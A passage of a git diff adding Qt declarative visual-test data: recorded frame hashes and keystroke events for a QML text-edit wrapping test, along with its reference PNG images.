Frame { + msec: 2240 + hash: "f90403e0b62f9579b5c5f591e75e9eb5" + } + Frame { + msec: 2256 + hash: "f90403e0b62f9579b5c5f591e75e9eb5" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2272 + hash: "f90403e0b62f9579b5c5f591e75e9eb5" + } + Frame { + msec: 2288 + hash: "f90403e0b62f9579b5c5f591e75e9eb5" + } + Frame { + msec: 2304 + hash: "f90403e0b62f9579b5c5f591e75e9eb5" + } + Frame { + msec: 2320 + hash: "f90403e0b62f9579b5c5f591e75e9eb5" + } + Frame { + msec: 2336 + hash: "f90403e0b62f9579b5c5f591e75e9eb5" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2352 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 2368 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 2384 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2400 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 2416 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 2432 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 2448 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 2464 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 2480 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 2496 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 2512 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 2528 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 2544 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 2560 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 2576 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 2592 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2608 + hash: "c186352ed5d1539a45b3c9e1dfa408d6" + } + Frame { + msec: 2624 + hash: "c186352ed5d1539a45b3c9e1dfa408d6" + } + Frame { + msec: 2640 + hash: "c186352ed5d1539a45b3c9e1dfa408d6" + } + Frame { + msec: 2656 + hash: "c186352ed5d1539a45b3c9e1dfa408d6" + } + Frame { + msec: 2672 + hash: "c186352ed5d1539a45b3c9e1dfa408d6" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2688 + hash: "c186352ed5d1539a45b3c9e1dfa408d6" + } + Frame { + msec: 2704 + hash: "c186352ed5d1539a45b3c9e1dfa408d6" + } + Frame { + msec: 2720 + hash: "c186352ed5d1539a45b3c9e1dfa408d6" + } + Frame { + msec: 2736 + hash: "c186352ed5d1539a45b3c9e1dfa408d6" + } + Frame { + msec: 2752 + hash: "c186352ed5d1539a45b3c9e1dfa408d6" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2768 + hash: "c602a6535ef86125615307d9d187eb3f" + } + Frame { + msec: 2784 + hash: "c602a6535ef86125615307d9d187eb3f" + } + Frame { + msec: 2800 + hash: "c602a6535ef86125615307d9d187eb3f" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2816 + hash: "c602a6535ef86125615307d9d187eb3f" + } + Frame { + msec: 2832 + hash: "c602a6535ef86125615307d9d187eb3f" + } + Frame { + msec: 2848 + hash: "c602a6535ef86125615307d9d187eb3f" + } + Frame { + msec: 2864 + hash: "c602a6535ef86125615307d9d187eb3f" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2880 + image: "qt-669.2.png" + } + Frame { + msec: 2896 + hash: "fbc07fa31ab2022f3155bd1fb591fe6c" + } + Frame { + msec: 2912 + hash: "fbc07fa31ab2022f3155bd1fb591fe6c" + } + Frame { + msec: 2928 + hash: "fbc07fa31ab2022f3155bd1fb591fe6c" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2944 + hash: "fbc07fa31ab2022f3155bd1fb591fe6c" + } + Frame { + msec: 2960 + hash: "fbc07fa31ab2022f3155bd1fb591fe6c" + } + Frame { + msec: 2976 + hash: "fbc07fa31ab2022f3155bd1fb591fe6c" + } + Frame { + msec: 2992 + hash: "fbc07fa31ab2022f3155bd1fb591fe6c" + } + Frame { + msec: 3008 + hash: "fbc07fa31ab2022f3155bd1fb591fe6c" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 3024 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3040 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3056 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3072 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3088 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 3104 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3120 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3136 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3152 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3168 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3184 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3200 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3216 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3232 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3248 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3264 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3280 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3296 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3312 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3328 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3344 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3360 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3376 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3392 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3408 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3424 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3440 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3456 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3472 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3488 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3504 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3520 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3536 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3552 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3568 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3584 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3600 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3616 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3632 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3648 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3664 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3680 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 3696 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 3712 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 3728 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 3744 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 3760 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 3776 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 3792 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 3808 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 3824 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 3840 + image: "qt-669.3.png" + } + Frame { + msec: 3856 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 3872 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 3888 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 3904 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 3920 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 3936 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 3952 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 3968 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 3984 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4000 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4016 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4032 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4048 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4064 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4080 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4096 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4112 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4128 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4144 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4160 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4176 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4192 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4208 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4224 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4240 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4256 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4272 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4288 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 4304 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.0.png new file mode 100644 index 0000000..ec65f49 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.1.png new file mode 100644 index 0000000..ec65f49 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.2.png new file mode 100644 index 0000000..ec65f49 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.3.png new file mode 100644 index 0000000..ec65f49 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.4.png new file mode 100644 index 0000000..ec65f49 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.5.png new file mode 100644 index 0000000..ec65f49 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.6.png new file mode 100644 index 0000000..ec65f49 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.6.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.qml new file mode 100644 index 0000000..4ff00f4 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/wrap.qml @@ -0,0 +1,2467 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 84 + modifiers: 33554432 + text: "54" + autorep: false + count: 1 + } + Frame { + msec: 32 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 16777248 + modifiers: 33554432 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 48 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 64 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 80 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 96 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 72 + modifiers: 0 + text: "68" + autorep: false + count: 1 + } + Frame { + msec: 112 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 128 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 144 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 73 + modifiers: 0 + text: "69" + autorep: false + count: 1 + } + Frame { + msec: 160 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 176 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 192 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 72 + modifiers: 0 + text: "68" + autorep: false + count: 1 + } + Frame { + msec: 208 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 224 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 240 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 73 + modifiers: 0 + text: "69" + autorep: false + count: 1 + } + Frame { + msec: 256 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 272 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 288 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 304 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 320 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 336 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 352 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 368 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 384 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 400 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 416 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 432 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 448 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 464 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 73 + modifiers: 0 + text: "69" + autorep: false + count: 1 + } + Frame { + msec: 480 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 496 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 512 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 528 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Key { + type: 7 + key: 73 + modifiers: 0 + text: "69" + autorep: false + count: 1 + } + Frame { + msec: 544 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 560 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 576 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 592 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 608 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 624 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 640 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 656 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 672 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 688 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 704 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Frame { + msec: 720 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 736 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 752 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 768 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 784 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Frame { + msec: 800 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 816 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 832 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 848 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 864 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 880 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 896 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 912 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 928 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 944 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 960 + image: "wrap.0.png" + } + Frame { + msec: 976 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 992 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Key { + type: 7 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 1008 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1024 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1040 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1056 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1072 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Frame { + msec: 1088 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1104 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1120 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1136 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1152 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1168 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1184 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 1200 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1216 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1232 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1248 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1264 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Key { + type: 6 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 1280 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1296 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 1312 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1328 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1344 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 1360 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1376 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 1392 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1408 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1424 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1440 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 1456 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1472 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1488 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1504 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1520 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 1536 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1552 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 72 + modifiers: 0 + text: "68" + autorep: false + count: 1 + } + Frame { + msec: 1568 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1584 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1600 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1616 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1632 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Key { + type: 7 + key: 72 + modifiers: 0 + text: "68" + autorep: false + count: 1 + } + Frame { + msec: 1648 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1664 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1680 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1696 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1712 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 1728 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1744 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1760 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Frame { + msec: 1776 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 1792 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1808 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 1824 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1840 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1856 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1872 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 1888 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1904 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1920 + image: "wrap.1.png" + } + Frame { + msec: 1936 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1952 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 1968 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1984 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2000 + hash: 